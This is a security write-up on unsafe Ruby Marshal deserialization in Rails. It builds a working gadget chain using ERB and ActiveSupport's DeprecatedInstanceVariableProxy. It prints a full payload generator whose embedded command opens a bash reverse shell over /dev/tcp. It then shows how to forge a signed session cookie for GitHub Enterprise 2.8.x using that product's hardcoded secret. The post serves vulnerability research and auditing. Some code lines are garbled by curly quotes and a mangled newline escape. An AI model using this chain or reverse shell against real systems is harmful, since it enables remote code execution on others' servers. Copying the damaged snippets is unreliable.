Ruby on Rails is a popular application platform that uses cookies to identify application sessions.

The cookie consists of two parts: cookie-value and signature. Whenever Rails gets a cookie, it verifies that the cookie has not been tampered with by verifying that the hash/signature of the cookie-value sent matches the signature sent. Demarshalling cookies to retrieve the content generally consists of three logical steps:

  1. url_decoded_cookie = CGI::unescape(cookie_value)
  2. b64_decoded_session = Base64.decode64(url_decoded_cookie)
  3. session = Marshal.load(b64_decoded_session)

During many white-box Ruby on Rails projects’ audits, over and over again we have encountered unsafe use of marshal deserialization. While session cookie deserialization is a serious issue, there is a whole category of demarshalling bugs that can lead to Remote Code Execution (RCE). All cases look like each other: unmarshalling cookies, some GET-POST data, or any kind of data from a user session. For example:





This invocation of demarshalling is quite a dangerous example of using the deserialization mechanism because it may lead straight to arbitrary code execution. That’s a final goal, but first, we need to construct code that runs on access.

PoC creation

The first step is to use some erb template parsers like ERB or Erubis, which is used in GitHub Enterprise. An instance of an src variable may contain pure Ruby code; because of that, we can put a payload here with code that will be executed.

erb = ERB.allocate
erb.instance_variable_set :@src, “%x();”

738: class ERB
…
852: # Generate results and print them. (see ERB#result)
853: def run(b=new_toplevel)
854: print self.result(b)
855: end
…
865: def result(b=new_toplevel)
…
875: eval(@src, b, (@filename || ‘(erb)’), @lineno)
876: end
877: end

or

erb = Erubis::Eruby.allocate
erb.instance_variable_set :@src, “%x{};”

10: module Erubis
…
44: module RubyEvaluator
…
52: ## eval(@src) with binding object
53: def result(_binding_or_hash=TOPLEVEL_BINDING)
…
65: return eval(@src, _b, (@filename || ‘(erubis’))

Looking at the source code of evaluators for executing payload, we need to call the result method after the erb object creation. We cannot influence the execution process straight off; because of that, we need to somehow force the call result method during the unmarshalling process. InstanceVariableProxy class can help us with that kind of problem. The ActiveSupport module contains a special mechanism for marking an obsolete method and changing it so it can actually work now. This is called ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.

Simply put, this mechanism talks to the interpreter: “Hey, guy. This method is not supported anymore. Please, use this one and run.”

089: class DeprecatedInstanceVariableProxy < DeprecationProxy
090: def initialize(instance, method, var = “@#{method}”, deprecator = ActiveSupport::Deprecation.instance)
091: @instance = instance
092: @method = method
…
098: def target
099: @instance.__send__(@method)
…
102: def warn(callstack, called, args)
103: @deprecator.warn(“#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}”, callstack)

So, we can use this to deprecate an instance variable; after running that instance variable, it will throw away the warning message and call the new method. That was exactly what we needed at this step.

class ActiveSupport
class Deprecation
def initialize()
@silenced = true
end
class DeprecatedInstanceVariableProxy
def initialize(instance, method)
   @instance = instance
     @method = method
        @deprecator = ActiveSupport::Deprecation.new
        end
     end
   end
end
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set :@instance, erb
depr.instance_variable_set :@method, :result
depr.instance_variable_set :@var, “@result”
depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new

or simply depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erubis, :result)

At this step, if we try to access the depr object, we get our code to run.

Now we can serialize the completed object with Marshal.dump and encode with a base64 function.

payload = Base64.encode64(Marshal.dump(depr)).gsub(“n”, “”)
puts payload

Combine all steps together into the source code

require “base64”
require “erb”
class ActiveSupport
class Deprecation
def initialize()
@silenced = true
end
class DeprecatedInstanceVariableProxy
def initialize(instance, method)
  @instance = instance
     @method = method
        @deprecator = ActiveSupport::Deprecation.new
        end
     end
  end
end
erb = ERB.allocate
erb.instance_variable_set :@src, "%x(bash -i >& /dev/tcp/127.0.0.1/1337 0>&1);"
erb.instance_variable_set :@lineno, 1337
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set :@instance, erb
depr.instance_variable_set :@method, :result
depr.instance_variable_set :@var, “@result”
depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new
payload = Base64.encode64(Marshal.dump(depr)).gsub(“n”, “”)
puts payload

You can play with that code at the repl.it platform.

A similar bug was found last year at GitHub Enterprise 2.8.0 < 2.8.6 product. There is a static session key for session cookie signs, and cookies themselves are Marshal objects.

/data/enterprise-manage/current/config.ru:

62: # Enable sessions
63: use Rack::Session::Cookie,
64: :key => “_gh_manage”,
65: :path => “/”,
66: :expire_after => 1800, # 30 minutes in seconds
67: :secret => ENV[“ENTERPRISE_SESSION_SECRET”] || “641dd6454584ddabfed6342cc66281fb”

First, use the above-mentioned exploit code to create a DeprecatedInstanceVariableProxy object.

session = {“session_id” => “”, “exploit” => proxy}

After that, we need to marshalize the session variable, encode and HMAC sign its SHA1 digest with our SECRET key 641dd6454584ddabfed6342cc66281fb.

dump = [Marshal.dump(session)].pack(“m”)

hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)

At last, encode the payload and sign the concatenate with a — separator, and then send in the request as a cookie header.

rqst[‘Cookie’] = “_gh_manage=#{CGI.escape(“#{dump} — #{hmac}”)}”

Successful exploitation of GitHub Enterprise 2.8.5
Figure 1. Successful exploitation of GitHub Enterprise 2.8.5

A few months after this bug was fixed, Taiwanese researcher Orange Tsai found another vulnerability that contained a deserialization bug like this. The issue has four chains-through a remote SSRF to an internal Graphite service SSRF, then to a CR-LF injection inside the Python httplib.HTTPConnection module, and then unsafe deserialization of the Ruby object from the Memcache database. An attacker can store malicious objects generated with the same exploit, and then after fetching that object from the cache Memcache, Ruby gem will deserialize it automatically, which will lead to code execution.

Successful exploitation of GitHub Enterprise 2.8.6
Figure 2. Successful exploitation of GitHub Enterprise 2.8.6

After successful exploitation, attacker can use this type of bug to run arbitrary code on a remote system. Bugs like this lead to serious problems in production because of wide possibilities for use. For example, crypto-miners love to adopt bugs like this into their attack arsenal to infect many systems so that the infected systems can become part of a botnet. Problems, of course, will become more severe if a vulnerable application is running from a high-privileged user on the target system. Keep an eye out!

Links and Resources

https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles — Slides about marshalling and pickle serialization from OWASP AppSecCali 2015 by Christopher Frohoff

https://gist.github.com/niklasb/df9dba3097df536820888aeb4de3284f — Rails 5.1.4 YAML unsafe deserialization RCE payload

https://replit.com/@allyshka/Ruby-RCE-with-Marshalload — Ruby Marshal+Base64 RCE payload playground/generator

http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html — GitHub Enterprise 2.8.0 < 2.8.6 RCE report and details

https://www.exploit-db.com/exploits/41616 — GitHub Enterprise 2.8.0 < 2.8.6 RCE exploit

http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html — GitHub Enterprise 4-chained vulnerability. One of them is unsafe Marshal deserialization